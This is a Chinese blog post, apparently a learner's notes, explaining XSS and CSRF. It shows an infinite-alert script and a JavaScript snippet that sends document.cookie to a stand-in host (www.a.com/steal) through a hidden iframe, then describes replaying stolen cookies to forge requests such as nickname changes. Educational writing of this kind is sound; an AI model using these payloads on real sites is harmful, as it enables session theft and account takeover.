XSS 和 CSRF

最近发现自己对网络安全这一块比较空白.

仅仅只是知道有一个 XSS (Cross-site script).也知道大体是怎么回事,但是从来没有写过代码测试和练习.

今天有空,就专门研究一下 XSS 和 CSRF


XSS

XSS 是 Cross-site script 缩写.

中文释义: 跨站脚本攻击.

基维百科:

XSS: 跨站脚本(Cross-site script)是一中网站应用程序的安全漏洞,是代码注入的一种.它允许恶意用户将代码注入到网站上,让其它正在观察网页时的用户受到影响.

理解起来也简单,无非就是在某个网站的某个请求里,提交一段 Javascript 代码而已.

现在很多网站后天都作了过滤,比如 <,script 等危险关键字.
基本会在出现这样的情况了.

但是如果后台没有做这种危险的字符过率,一段很简单的XSS跨站脚本代码,<甚至都不用不跨站>,就可以支配所有访问这个页面的用户.

<script>while(true) { alert('被弹窗的恐惧支配吧??你关不掉der~') }</script>

XSS 既然翻译成 跨站脚本攻击..

上述那个代码只是循环弹窗而已,并未涉及到跨站.

所以不能算是完整的XSS攻击.顶多叫脚本攻击

所以,必须有跨站的操作,才能称为完整的XSS.

现在的网站中,或多或少的会把一些和用户相关的数据通过cookie传递到前台.


// 通过XSS把这么一段代码设置到网站页面中.
(function(w,d){
    // 获取当前页面的cookie.
    const cookie = d.cookie
    const fromURL = w.host 
    const stealURL = `http://www.a.com/steal?from=${fromURL}&cookie=${cookie}`
    
    const hiddenIframe = document.createElement('iframe')
    hiddenIframe.width = '0px'
    hiddenIframe.height = '0px'
    hiddenIframe.src = stealURL
    
    d.appendChild(hiddenIframe)
})(window,document)

通过这么一端脚本代码,可以将当前页面的cookie等信息发送到我自己的后台.

那么在我自己的后台就可以存储用户的一些比较私密的数据了.

这里有:

  • 脚本
  • 跨站

所以,可以称之为一个完整的XSS(cross-site script) 跨站脚本攻击.

但是目前基本所有的网站都做了危险字符过滤或者替换.这种攻击基本不会产生什么威胁了.


CSRF

CSRF 是 cross-site request forgery 的缩写.

中文释义: 跨站请求伪造.

基维百科:

跨站请求伪造(cross-site rquest forgery),也被称之为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF , 是一种挟制用户在当前已经登录的web页面上执行一些非本意的操作.

光看这单解释,好像能理解的半成.

  • 用户要登录.
  • 利用用户登陆的数据或者状态做一些只有在当前用户登陆情况下的事情.比如删帖.修改昵称...

上一节 XSS 攻击,如果我们能拿到用户的cookie等信息的话.

只要我们在抓取此网站的删帖链接,修改昵称链接.

查询需要传递的给后台的数据,如果是包含这个cookie的话.

那我们就可以在我们后台部署一套循环遍历的请求了.

比如修改昵称的链接和操作是: http://www.attacked.com/action/changeNickName?name=xxxxx

我们就可以在自己后台,请求里设置cookie.并请求这个链接,就可以修改用户的昵称了.

同理一些其他的操作.(比如删帖等)


总结:

  • XSS 是跨站脚本攻击. (Cross-site script) ,只有脚本只能叫脚本攻击,必须有跨站的行为才能称之跨站脚本攻击.
  • CSRF 跨站请求伪造(Cross-site request forgery),前提是拿到用户的登陆信息.之后可以伪造当前用户做一些非用户本意的操作.
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 作者:dwqshttps://github.com/dwqs/blog/issues/68 在 Web 安全领域中...
    grain先森阅读 435评论 0 2
  • 在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式。本文将会简单介绍 XSS 和 CSRF 的攻防问...
    Hoistthecolors阅读 392评论 0 0
  • XSS XSS,即 Cross Site Script,中译是跨站脚本攻击;其原本缩写是CSS,但为了和层叠样式(...
    小小的白菜阅读 324评论 0 1
  • 感觉自己在实践的过程中,缺少点web安全意识。而XSS作为全端安全中最常见的问题之一,我自己也想找点资料来学习学习...
    卓三阳阅读 21,632评论 1 10
  • XSS cross site script,跨站脚本攻击(关键字:脚本)。为了与 css 冲突取名为 xss!XS...
    Allan要做活神仙阅读 5,179评论 0 4